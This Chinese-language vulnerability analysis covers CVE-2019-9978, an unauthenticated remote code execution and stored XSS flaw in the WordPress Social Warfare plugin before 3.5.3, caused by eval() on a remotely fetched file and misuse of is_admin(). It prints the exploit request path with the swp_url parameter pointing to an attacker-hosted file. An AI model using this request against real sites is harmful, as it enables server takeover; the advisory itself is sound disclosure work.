WordPress Social Warfare插件XSS和RCE漏洞

  • 发表于
  • Vulndb

3月21日,研究人员披露了Social Warfare中存在的两个漏洞,这是WordPress中一个非常受欢迎的插件,可以将社交网络分享按钮添加到网站或博客中。其中,一个是存储型跨站脚本攻击(XSS)漏洞,另一个是远程代码执行(RCE)漏洞,这两个漏洞共同获得CVE-2019-9978编号。在3.5.3版本之前所有版本的Social Warfare中都存在这两个漏洞。3月21日,发布了针对该漏洞的修复程序,但预计有42000个网站暂未更新至3.5.3版本,而存在漏洞。攻击者可以借助这些运动,运行任意PHP代码,在无需身份验证的情况下即可实现对网站和服务器的控制。攻击者可能会利用受感染的网站执行加密货币挖掘,或在被感染的网站上托管恶意攻击代码。Unit 42的研究人员发现了五个主动用于托管恶意攻击代码的受感染网站,使得攻击者可以控制更多网站。

Social Warfare漏洞分析

远程代码执行(RCE)漏洞

该漏洞的根本原因位于social-warfare\lib\utilities\SWP_ Databa se_Migration.php中。

WordPress Social Warfare处理$_GET[‘swp_url’]:

WordPress Social Warfare插件XSS和RCE漏洞

上图展示了,$array由$option构造,而$option又来自位于$_GET[‘swp_url’]中的远程文件。我们可以在上图的第250行中看到,$array将由eval()函数执行,而不会进行任何安全检查,这将直接导致任意代码执行。

我们使用以下内容,操作内部环境服务器中的文件,该文件在<pre>标记内存储phpinfo函数。Phpinfo()是一个PHP函数,它展示了PHP的当前状态和环境配置。该函数通常被用作演示PHP执行的远程Payload。

然后,我们在易受攻击的站点上访问了以下URI,发现执行了phpinfo()函数:

在发送PoC请求时运行phpinfo():

WordPress Social Warfare插件XSS和RCE漏洞

存储型跨站脚本攻击(XSS)漏洞

该漏洞同样存在于social-warfare\lib\utilities\SWP_ Databa se_Migration.php代码之中。

要更新的代码选项:

WordPress Social Warfare插件XSS和RCE漏洞

这两个漏洞的根本原因是相同的,都是在WordPress中滥用了is_admin()函数。is_admin仅检查所请求的页面是否属于管理页面的一部分,并且不会阻止任何未经授权的访问。

我们使用以下内容,操纵内部环境服务器中的配置文件:

随后,我们返回到易受攻击的WordPress主机,该主机位于http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt。

当我们访问WordPress仪表盘中的Social Warfare页面时,我们会看到如下图所示的警报。

管理员访问仪表盘时显示的警报:

WordPress Social Warfare插件XSS和RCE漏洞

受影响的网站

目前,我们已经发现大约有40000个已安装该插件的网站,其中大多数都运行了易受攻击版本的插件,其中包括教育网站、财务网站和新闻网站。其中的许多网站都拥有较高的流量,我们可以在下图左侧看到Alexa的全球流量排名。